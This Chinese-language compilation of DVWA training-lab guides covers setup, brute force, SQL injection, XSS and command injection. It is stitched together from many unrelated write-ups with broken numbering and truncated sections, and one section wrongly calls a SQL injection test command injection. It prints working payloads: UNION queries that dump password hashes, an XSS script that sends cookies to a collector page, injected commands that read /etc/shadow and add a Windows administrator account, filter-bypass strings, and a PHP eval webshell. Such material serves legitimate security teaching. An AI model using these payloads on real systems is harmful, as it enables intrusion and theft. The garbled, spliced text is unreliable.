DVWA 命令执行
- 格式:doc
- 大小:303.00 KB
- 文档页数:7
漏洞演示系统DVWA(Damn Vulnerable Web Application) V1.8攻略测试环境:操作系统:Windows 8.1 、Windows 7运行时:.Net Framework 3.5PHP+MySQL集成测试环境:XAMPP V3.2.1首先,从/ 下载DVWA,并将文件释放到c:\xampp\htdocs\DVWA修改配置文件config\config.inc.php ,设置数据库连接账号及默认的安全级别:$_DVWA[ 'db_server' ] = 'localhost';$_DVWA[ 'db_database' ] = 'dvwa';$_DVWA[ 'db_user' ] = 'root';$_DVWA[ 'db_password' ] = 123456;$_DVWA['default_security_level'] = "low";然后,访问http://127.0.0.1/DVWA/login.php第一关,就是考虑如何登录进去。
这里,我们计划采取挂字典进行暴力登录尝试,这类工具称之为Bruter,下面以WebCruiser Web Vulnerability Scanner V2.8.0 ( )为例。
首先,随便输入一个错误的用户名和密码,这里输入123和456:提交后,切换到Resend(重放)界面:最新的请求在最上面,点击它,可以在右边看到详细信息。
点击“Bruter”按钮:软件自动切换到Bruter界面,并且自动发现username和password字段(如果使用了特殊的参数名,则手工从下拉列表中选中它)。
Bruter提供了两种字典方式,一种是用户名和密码使用不同的字典,另一种是使用网络已泄漏的(用户名:密码)组合。
DVWA——XSS(跨站脚本攻击)XSS概念:XSS攻击全称跨站脚本攻击,XSS是⼀种经常出现在web应⽤中的计算机安全漏洞,它允许恶意web⽤户将代码植⼊到提供给其它⽤户使⽤的页⾯中。
⽐如这些代码包括HTML代码和客户端脚本。
XSS有三种:反射型XSS:只是简单地把⽤户输⼊的数据反射给浏览器,简单来说,⿊客往往需要⽤户诱使⽤户点击⼀个恶意链接,才能攻击成功。
存储型XSS:将⽤户输⼊的数据存储在服务器端。
DOM XSS:通过修改页⾯的DOM节点形成的XSS。
(可能是存储型也可能使反射型)反射型XSS:Low级:<?php// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';}>我们可以看到,代码直接引⽤了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
所以我们构造payload语句:<script>alert(/111/)</script>,可以看到直接就执⾏了我们的js代码。
在www⽬录下创建⼀个cookie.php⽂件,内容如下:<?php$cookie=$_GET['cookie'];//将get请求参数存储到cookie变量中file_put_contents('cookie.txt',$cookie);//把偷取的⽤户cookie写到cookie.txt⽂件中>编写js代码将页⾯的cookie发送到cookie.php中:<script>document.location='http://127.0.0.1/cookie.php/?cookie='+document.cookie;</script>#后⾯的参数要进⾏URL编码,页⾯发⽣跳转后,我们发现在WWW⽬录下多了个 cookie⽂件,打开发现成功拿到了cookie。
DVWA-SQL注⼊DVWA-SQL注⼊⼀、SQL注⼊概念SQL注⼊是指攻击者通过注⼊恶意的SQL命令,破坏SQL查询语句的结构,从⽽达到执⾏恶意SQL语句的⽬的。
⼆、⼿⼯注⼊常规思路1.判断是否存在注⼊,注⼊是字符型还是数字型2.猜解SQL查询语句中的字段数3.确定回显位置4.获取当前数据库5.获取数据库中的表6.获取表中的字段名7.得到数据三、DVWA注⼊分析将DVWA的级别设置为low1.分析源码,可以看到没有对参数做任何的过滤,直接带⼊数据库进⾏查询,分析sql查询语句,可能存在字符型sql注⼊。
2.判断sql是否存在存⼊,以及注⼊的类型1' and '1'='13.猜解SQL查询语句中的字段数3.1 1' order by 2#3.2 1' order by 3#3.3从上⾯两个图可以说明,SQL语句查询的表的字段数是24.确定显⽰的位置(SQL语句查询之后的回显位置)1' union select 1,2# #下图可以看出有2个回显5.查询当前的数据库,以及版本1' union select version(),database()#6.获取数据库中的表1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#7.获取表中的字段名1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#8.获得字段中的数据1' union select user,password from users#将DVWA的级别设置为Medium1.下图可以看到中级加⼊了⼀些防御,不让⽤户输⼊,只提供选择(可以⽤burpsuit抓包来绕过),分析源码可以看到对参数使⽤mysql_real_escape_string函数转义sql语句中的⼀些特殊字符,查看sql查询语句可以看出可能存在数字型sql注⼊2.通过burpsuit抓包,修改数据包,绕过防御2.1判断注⼊点,以及注⼊的类型,下图可以看到,存在注⼊,注⼊类型是数字型注⼊2.2猜解sql查询语句中的字段的个数,下图说明字段的个数为22.3.确定回显的位置,下图可以说明有2个回显位置1 union select 1,2#2.4.获取当前数据库的名称以及版本1 union select database(),version()#2.5获取数据库中的所有表1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#2.6获取表中的所有字段名考虑到单引号被转义,可以利⽤ 16 进制进⾏绕过union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #2.7获取字段中的数据1 union select user,password from users#将DVWA的级别设置为High1.将dvwa设置为⾼级,可以看出,点击”here to change your ID”,页⾯⾃动跳转,防御了⾃动化的SQL注⼊,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过 2.2获得密码将DVWA的级别设置为Impossible1.分析源码可以看到使⽤了PDO技术,杜绝了SQL注⼊。
Web渗透-命令行攻击
实验虚拟主机各自用户名密码:
O-metas3--1主机
用户名:root
密码:123456
第一步、打开网络拓扑,登入metas3
用户名:root
密码:123456
该实验机的地址是192.168.99.33 第二步、根据实验安排自行修改地址修改方法:
#ifconfig eth0 ip地址
第三步、登录dvwa
登录访问DVWA,默认用户名:admin密码:password
登录之后,将 dvwa 的安全级别调成 low,low 代表安全级别最低,存在较容易测试的漏洞。
命令执行可谓是web里最高危的漏洞了,有可能可以直接写下shell或者直接添加用户。
选择”command execution”
输入0|ls
可以得到你需要的文件目录了
第四步、实验结束,关闭相关界面。
以下是dvwa实验实训手册:
一、实验环境搭建
1. 安装phpstudy+mysql,配置完成后可以直接访问IP:80。
2. 打开config.inc.php文件,修改以下内容:
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvw';
二、实验内容
1. Brute Force(爆破)
a. 在登录界面,服务器只验证了参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password 没有做任何过滤,存在明显的sql注入漏洞。
b. 输入用户名和密码后,login抓包,send to Intruder。
c. 选择password的值为payload positions;payload Options导入自己的爆破字典,进行爆破。
d. 分析响应的长度,明显密码就是password。
2. SQL注入
a. 打开DVWA的初始化界面,账号密码为admin admin。
b. 在环境界面选择SQL Injection。
c. 攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
三、实验总结
通过本次实验,我们了解了dvwa实验的基本操作和安全防护措施,提高了对网络安全的认识和防范能力。
同时,也发现了自己在网络安全方面的不足之处,需要进一步加强学习和实践。
DVWA——简介
Web应⽤程序(DVWA)是⼀个很容易受到攻击的PHP / MySQL Web应⽤程序。
其主要⽬标是帮助安全专业⼈员在法律环境中测试他们的技能和⼯具,帮助Web开发⼈员更好地了解保护Web应⽤程序的过程,并帮助学⽣和教师了解受控类中的Web应⽤程序安全性房间环境。
DVWA的⽬标是通过简单直接的界⾯练习⼀些最常见的Web漏洞,具有各种难度。
请注意,此软件存在记录和未记录的漏洞。
DVWA共有⼗个模块,分别是:
Brute Force(暴⼒破解)
Command Injection(命令⾏注⼊)
CSRF(跨站请求伪造)
File Inclusion(⽂件包含)
File Upload(⽂件上传)
Insecure CAPTCHA (不安全的验证码)
SQL Injection(SQL注⼊)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站脚本)
XSS(Stored)(存储型跨站脚本)附上双语对照图⽚
的理解漏洞的原理。
,dvwa搭建实验心得-回复DVWA搭建实验心得最近,在学习网络安全相关知识的过程中,我遇到了一个非常有趣且实用的工具,那就是DVWA(Damn Vulnerable Web Application)。
DVWA 是一个供安全研究人员和学习者练手的漏洞复现环境,通过搭建和利用DVWA,可以深入了解和掌握Web应用中的各种漏洞类型及其利用方法。
首先,我需要下载并搭建DVWA环境。
DVWA的官方网站提供了相应的下载链接,我可以选择下载最新版本的源代码。
然后,我需要将源代码放到一个Web服务器中,以便能够通过URL在浏览器中访问。
我选择了将DVWA放入本地的XAMPP服务器中,这样方便我在本地进行实验和学习。
搭建好DVWA环境后,我就可以开始进行实验了。
一开始,我只是按照官方的文档了解了一些基本的操作,例如如何登录、如何修改安全等级等。
随着实验的深入,我开始逐步尝试不同的漏洞类型和攻击方法。
首先,我选择了SQL注入漏洞。
通过DVWA提供的“SQL Injection”页面,我可以在输入框中尝试不同的注入语句,来获取数据库中的敏感信息,或者甚至是对数据库进行修改和删除操作。
通过这个实验,我深刻认识到了SQL注入漏洞的危害性,也更加重视相关防护措施的重要性。
接下来,我尝试了XSS(跨站脚本)漏洞。
通过在输入框中输入恶意的脚本代码,我成功实现了在DVWA页面中弹出警告框的效果。
这个实验让我明白了XSS漏洞可以被用来进行各种恶意攻击,例如窃取用户的敏感信息、进行钓鱼攻击等。
所以,在开发过程中,我们必须严格过滤和转义用户输入的数据,以防止XSS漏洞的利用。
另外一个我尝试的漏洞是CSRF(跨站请求伪造)。
通过构造一个带有恶意请求的网页,并诱使用户点击该网页,在DVWA中执行了一个对当前用户的账户进行转账的操作。
这个实验让我认识到了CSRF漏洞的危险性,并且明白了在实际应用中,通过添加随机的token或者验证referer等措施可以有效地防止CSRF攻击。
DVWA靶机安装(超详细教程)下面是一份超详细的DVWA靶机安装教程,包括安装软件和配置漏洞靶场。
内容包括了所有的步骤和示例命令,以确保你可以成功地安装和使用DVWA靶机。
1.系统要求- 一台运行Linux操作系统的计算机(推荐使用Ubuntu或Kali)- Apache服务器-PHP-MySQL数据库``````3.配置DVWA```cd DVWA```将`config.sample.inc.php`复制一份命名为`config.inc.php`:```cp config.sample.inc.php config.inc.php``````define('DVWA_SECRET_KEY', 'randomstring');```4. 安装Apache、PHP和MySQL使用以下命令安装Apache服务器:```sudo apt-get install apache2```使用以下命令安装PHP和相关依赖:```sudo apt-get install php libapache2-mod-php php-mysql ```使用以下命令安装MySQL数据库:```sudo apt-get install mysql-server```5. 配置Apache和PHP打开`dvwa.conf`文件:```sudo nano /etc/apache2/conf-available/dvwa.conf ```将以下内容添加到文件中:```<Directory /path/to/dvwa>Options FollowSymLinksAllowOverride AllRequire all granted</Directory>```保存并关闭文件。
使用以下命令启用Apache的rewrite模块:```sudo a2enmod rewrite```使用以下命令启用DVWA配置文件:```sudo a2enconf dvwa```重启Apache服务器:```sudo systemctl restart apache2```6.创建MySQL数据库打开MySQL控制台:```sudo mysql```创建名为`dvwa`的数据库:```CREATE DATABASE dvwa;```创建名为`dvwa_user`的用户,并设置密码:``````授予用户对`dvwa`数据库的访问权限:``````刷新权限:```FLUSHPRIVILEGES;```退出MySQL控制台:```EXIT;```7.完成安装在登录界面中,使用默认的用户名`admin`和密码`password`登录。
centos7搭建DVWA环境///⾸先先下载好dvwa这个压缩包,去晚上搜⼀下就有了,话不多说,开始⼲活第⼀步:#yum install -y mariadb* php* httpd安装好数据库,php和apache第⼆步:然后将下载好的DVWA-master.zip解压#unzip DVWA-master.zip //解压#mv DVWA-master.zip DVWA //修改⼀下名字#mv DVWA /var/www/html //把⽂件夹移到apache下#chown apache:apache -R /var/www/html //拇指第三步:#cd DVWA/ 进⼊⽂件夹其中README.md是官⽅的帮助⽂档,⾥⾯有很官⽅的搭建过程#cd config/ 进⼊config/下修改⼀下配置⽂件使⽤cp命令保存原来⽂件,并复制⼀个⽂件改名为config.inc.php#cp config.inc.php.dist config.inc.php第四步:设置数据库#mysql -u root -p //进⼊数据库,初始化是回车进⼊,如果进⼊不了就先启动⼀下mariadb服务# mysql -uroot -pEnter password:MariaDB [(none)]> create database dvwa;MariaDB [(none)]> grant all on dvwa.* todvwa@localhost identified by '123456';MariaDB [(none)]> flush privileges;MariaDB [(none)]> exit此时重启⼀下mysql服务:systemctl restart mariadb第五步:修改⼀下DVWA的配置⽂件#vim config.inc.php$_DVWA['db_server' ]?? = 'localhost';$_DVWA['db_database' ] = 'dvwa';$_DVWA[ 'db_user'] = 'dvwa';$_DVWA['db_password' ] = '123456'; ? //这⾥是在数据库⾥⾯设置的密码然后设置key:$_DVWA[ 'recaptcha_public_key' ]? ='6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg'; $_DVWA[ 'recaptcha_private_key' ] ='6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';修改⼀下php.ini这个⽂件#vim /etc/php.ini直接搜索 allow_url_include = Off //搜索到这个之后把Off 改为On最后⼀步:#systemctl restart mariadb //重启数据库#systemctl restart httpd //重启apache#systemctl stop firewalld //关闭防⽕墙#setenforce 0 //关闭selinux最后去浏览器测试⼀下,⽤户名是admin,密码是password登陆成功,DVWA就搭建完成啦。
dvwa用法
DVWA (Damn Vulnerable Web Application) 是一个故意设计成
有安全漏洞的 Web 应用程序,旨在用于安全测试和学习。
下面是DVWA 的使用方法:
1. 下载 DVWA:可以从 Github 上下载最新版的 DVWA,也可以
使用 Docker 镜像来运行。
在下载完成后,解压文件并将其放在 Web
服务器上。
2. 配置 DVWA:将配置文件 config.inc.php.sample 复制一份
并命名为 config.inc.php,编辑该文件并设置数据库连接信息。
3. 安装 DVWA:在浏览器中访问 DVWA 所在的 URL,根据向导完
成安装。
4. 开始测试:访问 DVWA 主页面,输入默认的用户名和密码登
录后,可以看到各种不同类型的漏洞测试场景。
选择一个场景并进行
测试,尝试利用其存在的漏洞攻击该应用程序。
5. 学习:DVWA 不仅提供了测试场景,还提供了对应的解决方案
和说明,可以帮助用户学习如何防范和修复 Web 应用程序存在的漏洞。
需要注意的是,使用 DVWA 进行测试时应遵守法律和道德规范,
仅在授权的测试环境中使用。
dvwa用法
DVWA用法:学习Web应用安全的利器
DVWA(Damn Vulnerable Web Application)是一款用于学习Web 应用安全的开源漏洞测试平台。
它提供了一系列的漏洞测试场景,让用户可以在安全的环境下进行漏洞测试和学习,从而提高Web应用安全意识和技能。
DVWA的安装和使用非常简单,只需要下载并解压缩到Web服务器的根目录下即可。
然后通过浏览器访问DVWA的URL,按照提示进行配置和初始化,就可以开始使用了。
DVWA提供了多种漏洞测试场景,包括SQL注入、XSS攻击、文件上传漏洞、命令注入等等。
用户可以选择不同的漏洞测试场景进行测试和学习,了解不同类型的漏洞原理和防御方法。
DVWA还提供了不同的安全级别,从低到高分别为easy、medium、hard和impossible。
用户可以根据自己的实际情况选择不同的安全级别进行测试和学习,逐步提高自己的技能水平。
除了漏洞测试场景和安全级别,DVWA还提供了一些实用的工具和功能,如密码破解、会话管理、日志记录等等。
这些工具和功能可以帮助用户更好地进行漏洞测试和学习,提高测试效率和准确性。
DVWA是一款非常实用的Web应用安全测试平台,它可以帮助用
户学习和掌握Web应用安全的基本知识和技能,提高自己的安全意识和能力。
如果你想成为一名优秀的Web应用安全专家,DVWA绝对是你不可错过的利器。
一、实验背景命令执行漏洞是网络安全领域常见的漏洞类型之一,主要存在于Web应用程序中。
当应用程序未能正确处理用户输入时,攻击者可能利用该漏洞执行任意命令,进而控制服务器,获取敏感信息或造成其他损害。
本实验旨在通过模拟实验,了解命令执行漏洞的原理、攻击方式和修复方法。
二、实验环境1. 操作系统:Windows 102. 开发环境:Apache Tomcat 9.03. 实验工具:DVWA(Damn Vulnerable Web Application)三、实验步骤1. 启动DVWA实验环境,选择“Low”安全等级。
2. 访问DVWA实验环境,点击“SQL Injection”模块。
3. 在“SQL Injection”页面中,输入以下测试语句:“' OR '1'='1”:```http://localhost:8080/DVWA/vulnerabilities/sqli/?id=' OR '1'='1'```4. 观察结果,发现页面成功执行了命令并显示了结果,表明系统中存在命令注入漏洞。
5. 分析代码,发现该漏洞产生的原因是应用程序未能正确处理用户输入,导致攻击者可以构造恶意输入,进而执行任意命令。
6. 将安全等级提高到“Medium”,再次尝试攻击,发现部分特殊字符被黑名单过滤掉了,但命令执行依然可行。
7. 将安全等级提高到“High”,再次尝试攻击,发现用“&”字符进行的测试无法执行,但用“”字符进行的测试仍然可以执行。
8. 将安全等级提高到“Impossible”,再次尝试攻击,发现尝试执行命令被成功拦截,表明系统实施了一系列严格的输入验证措施。
9. 分析代码,发现系统增加了输入验证措施,包括验证CRSF令牌、确保IP地址的每个部分都是数字,并对输入进行了其他限制。
10. 分析代码,发现系统在“Impossible”安全等级下,成功阻止了命令注入漏洞。
DVWA下载、安装、使⽤(漏洞测试环境搭建)的详细教程DVWA(Damn Vulnerable Web Application)是⼀个⽤来进⾏安全脆弱性鉴定的PHP/MySQL Web应⽤,旨在为安全专业⼈员测试⾃⼰的专业技能和⼯具提供合法的环境,帮助web开发者更好的理解web应⽤安全防范的过程。
⼀共有⼗个模块:暴⼒(破解)、命令⾏注⼊、跨站请求伪造、⽂件包含、⽂件上传、不安全的验证码、SQL注⼊、SQL盲注、弱会话ID、XSS漏洞(DOM型跨站脚本、反射型跨站脚本、存储型跨站脚本)2、将下载的DVWA解压到phpstudy⽹站根⽬录下。
例如:我这解压后的路径是“D:\phpStudy\WWW\DVWA-master\”。
3、将 config.inc.php.dist 复制⼀份或重命令为 config.inc.php;例如:我的配置⽂件路径是“D:\phpStudy\WWW\DVWA-master\config”。
4、修改 config.inc.php ⾥代码如下:$_DVWA[ 'db_server' ] = '127.0.0.1'; #数据库地址$_DVWA[ 'db_database' ] = 'dvwa'; #数据库名称$_DVWA[ 'db_user' ] = 'root'; #数据库⽤户名$_DVWA[ 'db_password' ] = 'root'; #数据库密码因为phpstudy默认的mysql数据库地址是“127.0.0.1 或 localhost",⽤户名和密码都是"root"。
主要是修改'db_password‘为root,这⾥很重要,修改后⾃然是需要保存⽂件的。
三、DVWA 使⽤使⽤其实也没什么可多说的,也⾮常的简单,只有以下⼏个步骤:1、设置或重置数据库DVWA reCAPTCHA key: Missing解决⽅法编辑 dvwa/config/config.inc.php这个配置⽂件$_DVWA[ 'recaptcha_public_key' ] = '';$_DVWA[ 'recaptcha_private_key' ] = '';key可以⾃⼰⽣成,地址是下⾯这个是我⾃⼰⽣成的,随便⽤Site key:6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBbSecret key:6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K把key填上就⾏了$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb'; $_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';多多⽀持!。
DVWA通关之命令注⼊(commandinjection)DVWA通关之命令注⼊(command injection)难度等级:low过关思路我们先将其难度设置为low,看到其界⾯如下:通过分析得知,该功能是输⼊⼀个IP地址,然后通过ping进⾏测试,先输⼊127.0.0.1和测试如下:127.0.0.1可以看到,IP地址和域名都是能够ping通的,接下来就是使⽤命令拼接测试了,输⼊127.0.0.1 | whoami命令注⼊成功。
命令汇总,经过测试,以下命令均可注⼊成功。
127.0.0.1|whoami127.0.0.1&whoami127.0.0.1000 || whoami127.0.0.1 && whoami注意:有空格和⽆空格有时会有意想不到的效果做完了当然得看⼀下源码: 可以看到,该代码没有对⽤户的输⼊做任何的过滤,直接使⽤shell_exec函数执⾏⽤户输⼊,这是⾮常危险的。
难度等级:medium过关思路这⾥过关思路和low⼀致,也没啥可说的,我们主要看⼀下源码就⾏。
源代码如下: 通过分析,可以看出,medium关卡⽐low关卡多了⼀个⿊名单。
其通过数组的⽅式将&&和;进⾏了过滤,即将其替换为空。
但是,这种过滤基本上还是跟没有过滤差不多,因为⿊名单⾥的过滤太少了,⿊名单也不安全。
难度等级:high过关思路上⼿先测试⼏个前⾯的payload,发下好多都被过滤了,但是还有⼏个可以⽤:127.0.0.1 || whoami127.0.0.1|whoami127.0.0.1000||whoami我们直接看源代码: 可以看到,这次的⿊名单过滤明显的多了起来,但是也发现(可能是故意给我们漏出来的 ),其在过滤的时候,没有过滤|⽽是过滤了|+空格,所以,该代码只是遇到单单⼀个|,不会进⾏过滤。
难度等级:impossible过关思路这关基本上是不存在安全风险的,之所以放在这⾥,当作⼀个关卡,应该也是为了让我们学习⼀下怎么进⾏过滤,我们还是直接看源代码吧。
DVWA之命令执⾏⼀、命令执⾏漏洞命令执⾏漏洞是指可以随意执⾏系统命令,属于⾼危漏洞之⼀,也属与代码执⾏范围内,好⽐说⼀句话⽊马<?php@eval($_POST['cmd']);? >⼆、分类:1.代买过滤不严或⽆过滤2.系统漏洞造成的命令执⾏, bash破壳漏洞,该漏洞可以构造环境变量的值来执⾏具有攻击⼒的脚本代码,会应县到bash交互的多种应⽤,例如http,ssh,dhcp3.调⽤第三⽅组件,例如php(system(),shell_exec(),exec(),eval()), java(structs2),thinkphp(⽼牌的php框架)&&和&和|&& command && command2 第⼀个命令执⾏成功才会执⾏第⼆个命令& command & command2 不管第⼀个命令是否执⾏成功都要执⾏第⼆个| command | command2 如果第⼀个命令出错,则不执⾏后⾯的,如果第⼀个命令正确,则执⾏第⼆个命令,类似于管道符,三、演⽰1、low(1)&& 第⼀个命令执⾏成功才会执⾏第⼆个命令否则不能继续执⾏(2)&即使第⼀个command1没有执⾏成功,也会执⾏command2执⾏成功则都执⾏(3)| 不管command1是否执⾏成功,都执⾏command2,不返回command1的结果2、medium设置DWVA Security等级(1)&& ⽆法执⾏,(2)& 同样⽆法执⾏可选择绕过;第⼀种绕过:127.0.0.1 &&& dir第⼆种绕过:127.0.0.1 &;& netstat -ano3、high存在过滤漏洞 “| ”。
Low1.既然是ping 命令的话,那么我们先ping 127.0.0.12.在DOS下允许同时执行多条命令的符号主要有以下几个:“|”:前面命令输出结果作为后面命令的输入内容;“||”:前面命令执行失败的时候才执行后面的命令;“&”:前面命令执行后接着执行后面的命令;“&&”:前面命令执行成功了才执行后面的命令。
如果是Linux系统,还可以使用分号(;),也可以同时执行多条命令。
所以尝试列出系统的所有用户,使用ping 127.0.0.1 | net user3.尝试添加新的用户名,使用ping 127.0.0.1 | net user opc 123456 /add4.显示乱码了,没关系,使用ping 127.0.0.1 | net user opc 验证一下5.将新用户添加到administrators 组,使用ping 127.0.0.1 | net localgroupadministrators opc /add6.依然乱码,再次使用ping 127.0.0.1 | net user opc 验证一下7.映射C 盘8.成功入侵MediumHigh1.与low一样,使用ping 127.0.0.1 | net user,发现报错2.查看源代码,发现它过滤了‘&’,‘;’,‘| ’,‘-’,‘$’,‘(’,‘)’,‘`’,‘||’3.以上代码美中不足的是,它过滤的是‘| ’ ,而不是‘|’。
所以,我们把‘|’两边的空格删掉就可以了。
使用ping 127.0.0.1|net user dvwa 123456 /add9.将新用户添加到administrators 组,使用ping 127.0.0.1|net localgroupadministrators dvwa /add10.显示乱码了,没关系,使用ping 127.0.0.1|net user dvwa 验证一下11.映射C 盘12.成功入侵13.修复14.现在我们尝试列出目录,发现出错了。
命令执⾏漏洞1、命令执⾏(Command Execution)漏洞即⿊客可以直接在Web应⽤中执⾏系统命令,从⽽获取敏感信息或者拿下shell权限2、命令执⾏漏洞可能造成的原因是Web服务器对⽤户输⼊命令安全检测不⾜,导致恶意代码被执⾏3、更常见的命令执⾏漏洞是发⽣在各种Web组件,包括Web容器、Web框架、CMS软件、安全组件等DVWAlow分析代码1 <?php23 if( isset( $_POST[ 'Submit' ] ) ) { 4 // Get input5 $target = $_REQUEST[ 'ip' ]; //low级别中没有进⾏任何过滤直接把get的值输出 67 // Determine OS and execute the ping command.8 if( stristr( php_uname( 's' ), 'Windows NT' ) ) {9 // Windows10 $cmd = shell_exec( 'ping ' . $target );11 }12 else {13 // *nix14 $cmd = shell_exec( 'ping -c 4 ' . $target );15 }1617 // Feedback for the end user18 echo "<pre>{$cmd}</pre>";19 }2021 ?>上⾯搭建环境是win 若是在linux下搭建环境可执⾏⼀下命令114.114.114.114&&uname114.114.114.114&&pwd114.114.114.114&&ls -l114.114.114.114&&cat /etc/passwd //查看⽤户114.114.114.114&&cat /etc/shadow //查看密码medium1 <?php23 if( isset( $_POST[ 'Submit' ] ) ) {4 // Get input5 $target = $_REQUEST[ 'ip' ];67 // Set blacklist8 $substitutions = array(9 '&&' => '', //对输⼊的 && 和;进⾏过滤10 ';' => '',11 );1213 // Remove any of the charactars in the array (blacklist).14 $target = str_replace( array_keys( $substitutions ), $substitutions, $target );1516 // Determine OS and execute the ping command.17 if( stristr( php_uname( 's' ), 'Windows NT' ) ) {18 // Windows19 $cmd = shell_exec( 'ping ' . $target );20 }21 else {22 // *nix23 $cmd = shell_exec( 'ping -c 4 ' . $target );24 }2526 // Feedback for the end user27 echo "<pre>{$cmd}</pre>";28 }2930 ?>实例应⽤命令执⾏漏洞防御1、各种框架、插件等位置都有可能出现命令执⾏,升级到新版本,多打补丁2、关注⾏业最新安全动态,⼀旦爆发命令执⾏漏洞,迅速修复,避免造成更⼤影响3、少⽤框架/CMS。
Low
1.既然是ping 命令的话,那么我们先ping 127.0.0.1
2.在DOS下允许同时执行多条命令的符号主要有以下几个:
“|”:前面命令输出结果作为后面命令的输入内容;
“||”:前面命令执行失败的时候才执行后面的命令;
“&”:前面命令执行后接着执行后面的命令;
“&&”:前面命令执行成功了才执行后面的命令。
如果是Linux系统,还可以使用分号(;),也可以同时执行多条命令。
所以尝试列出系统的所有用户,使用ping 127.0.0.1 | net user
3.尝试添加新的用户名,使用ping 127.0.0.1 | net user opc 123456 /add
4.显示乱码了,没关系,使用ping 127.0.0.1 | net user opc 验证一下
5.将新用户添加到administrators 组,使用ping 127.0.0.1 | net localgroup
administrators opc /add
6.依然乱码,再次使用ping 12
7.0.0.1 | net user opc 验证一下
7.映射C 盘
8.成功入侵
Medium
High
1.与low一样,使用ping 127.0.0.1 | net user,发现报错
2.查看源代码,发现它过滤了‘&’,‘;’,‘| ’,‘-’,‘$’,‘(’,‘)’,‘`’,
‘||’
3.以上代码美中不足的是,它过滤的是‘| ’ ,而不是‘|’。
所以,我们把‘|’两边的
空格删掉就可以了。
使用ping 127.0.0.1|net user dvwa 123456 /add
9.将新用户添加到administrators 组,使用ping 127.0.0.1|net localgroup
administrators dvwa /add
10.显示乱码了,没关系,使用ping 127.0.0.1|net user dvwa 验证一下
11.映射C 盘
12.成功入侵
13.修复
14.现在我们尝试列出目录,发现出错了。